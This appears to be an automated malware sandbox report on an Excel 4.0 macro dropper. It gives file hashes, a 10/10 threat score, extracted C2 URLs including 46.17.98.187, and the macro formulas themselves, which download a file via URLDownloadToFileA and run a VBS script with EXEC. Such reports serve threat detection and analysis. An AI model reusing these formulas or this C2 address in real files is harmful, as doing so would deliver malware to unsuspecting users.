General

  • Target

    c3e22bb31d6267cfa8a88ce9a2d36d0c

  • Size

    6KB

  • Sample

    231222-rt355saggn

  • MD5

    c3e22bb31d6267cfa8a88ce9a2d36d0c

  • SHA1

    b74306dcf868274cec572b12f33d25fb9f2b5815

  • SHA256

    3bed41030d8f1f89cebf2f8b2d84fbd643c9df2e4ec266ab72c526d898af1587

  • SHA512

    c5770995c9c14b1daa80247117aeb2395083c0dac5c07d7d919bc35fceb08120bbcc646e42c626168da73c74d80621d8980754786e90037287f5447541e8be8a

  • SSDEEP

    192:NDSDuSVbrA2OmmfR48UhHFBFYu2b98y4O5+Z:NMuOM2w+1FYvb98y4OA

Score
10/10
xlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://46.17.98.187/index.php

http://google.com/index.php

Attributes
  • formulas

    =CALL("Urlmon","URLDownloadToFileA","JJCCJJ",0,"http://46.17.98.187/index.php","C:\~\pes.msi",0,0) =CALL("Urlmon","URLDownloadToFileA","JJCCJJ",0,"http://google.com/index.php","C:\~\pes.msi",0,0) =EXEC("wscript C:\zer\spp.vbs") =HALT()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://46.17.98.187/index.php

xlm40.dropper

http://google.com/index.php

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://46.17.98.187/index.php

Targets

    • Target

      c3e22bb31d6267cfa8a88ce9a2d36d0c

    • Size

      6KB

    • MD5

      c3e22bb31d6267cfa8a88ce9a2d36d0c

    • SHA1

      b74306dcf868274cec572b12f33d25fb9f2b5815

    • SHA256

      3bed41030d8f1f89cebf2f8b2d84fbd643c9df2e4ec266ab72c526d898af1587

    • SHA512

      c5770995c9c14b1daa80247117aeb2395083c0dac5c07d7d919bc35fceb08120bbcc646e42c626168da73c74d80621d8980754786e90037287f5447541e8be8a

    • SSDEEP

      192:NDSDuSVbrA2OmmfR48UhHFBFYu2b98y4O5+Z:NMuOM2w+1FYvb98y4OA

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

    • Process spawned suspicious child process

      This child process is typically not spawned unless (for example) the parent process crashes. This typically indicates the parent process was unsuccessfully compromised.

MITRE ATT&CK Enterprise v15

Tasks